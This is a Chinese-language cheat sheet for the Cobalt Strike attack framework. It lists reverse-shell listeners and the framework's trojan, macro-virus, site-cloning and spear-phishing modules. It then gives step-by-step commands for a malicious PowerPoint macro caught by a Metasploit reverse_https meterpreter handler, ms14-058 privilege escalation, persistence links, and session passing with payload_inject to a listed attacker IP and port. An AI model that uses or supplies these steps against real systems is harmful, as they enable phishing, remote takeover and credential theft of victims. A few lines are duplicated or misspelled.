cobalt strike使用笔记

启动：

./teamserver 192.168.74.1 admin #启动cs服务器.admin为密码．

监听器：

windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中beacon是cs自带的监听 foreign是msf的监听 一般常用的就是tcp和reverse_https，某些特殊情况下可以选择dns隧道反弹

功能分析：

---

１．View

　　

Applications 显示受害者机器的应用信息；
Credentials 显示受害者机器的凭证信息，能更方便的进行后续渗透；
Downloads 文件下载；
Event Log 可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;
Keystrokes 查看键盘记录；
Proxy Pivots 查看代理信息；
Screenshots 查看屏幕截图；
Script Console 在这里可以加载各种脚本以增强功能 Targets 查看目标；
Web Log 查看web日志。

---

2．Attacks－＞Packages

　　

HTML Application 生成恶意的HTA木马文件；
MS Office Macro 生成office宏病毒文件；
d Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件；
Windows Dropper 捆绑器，能够对文档类进行捆绑；
Windows Executable 生成可执行exe木马；
Windows Executable(S) 生成无状态的可执行exe木马。

---

3．Attacks－＞Web Drive-by

　　

Manage:对开启的web服务进行管理；
Clone Site 克隆网站，可以记录受害者提交的数据；
Host File 提供一个文件下载，可以修改Mime信息；
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击; Smart Applet Attack 自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；
System Profiler 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。
System Profiler 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。 Spear Phish 是用来邮件钓鱼的模块。

---

基本操作：

0x01 宏病毒攻击

1）运行veil-evasion---->21---->set lhost---->generate---->生成文件的名字
2）将生成的bat使用macro_safe.py生成可执行的宏 python macro_safe.py 1步骤生成的文件 要生成的文件名字
3）新建PPT
4）文件---->选项---->自定义功能---->开发工具（勾选）
5）开发工具---->Visual Basic---->右击插入模块（复制2步骤生成的文件内容）
6）PPT新插入个图片，添加动作。选择鼠标移动或者点击时候 运行宏。保存为带有《启用宏》类型的文件。
7）开启msfconsole
8）use exploit/multi/handler
　　set payload windows/meterpreter/reverse_https
　　set lhost kali的ip
　　set lhost kali的ip run
9 )运行6新保存的启用宏格式的文件。启用内容。F5放映幻灯片。
10）成功。

0x02　提权套装

https://github.com/rsmudge/ElevateKit下载文件
将下载的文件解压后选择cobalit sritke-》script manager
locd elevate.cna
elevate ms14-058 listen

0x03　权限维持

创建powershell持久隐蔽后门劫持快捷方式
http://www.tuicool.com/articles/3yEfe22
创建权限维持脚本
https://github.com/Tom4t0/cobalt-strike-persistence

0x04　MSF派生给cobalt shell

cobalt上监听windows/beacon_http/reverse_http
msf里面执行
exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST 192.168.81.135 cobalt的服务器ip
set LPORT 8880
set SESSION 1
exploit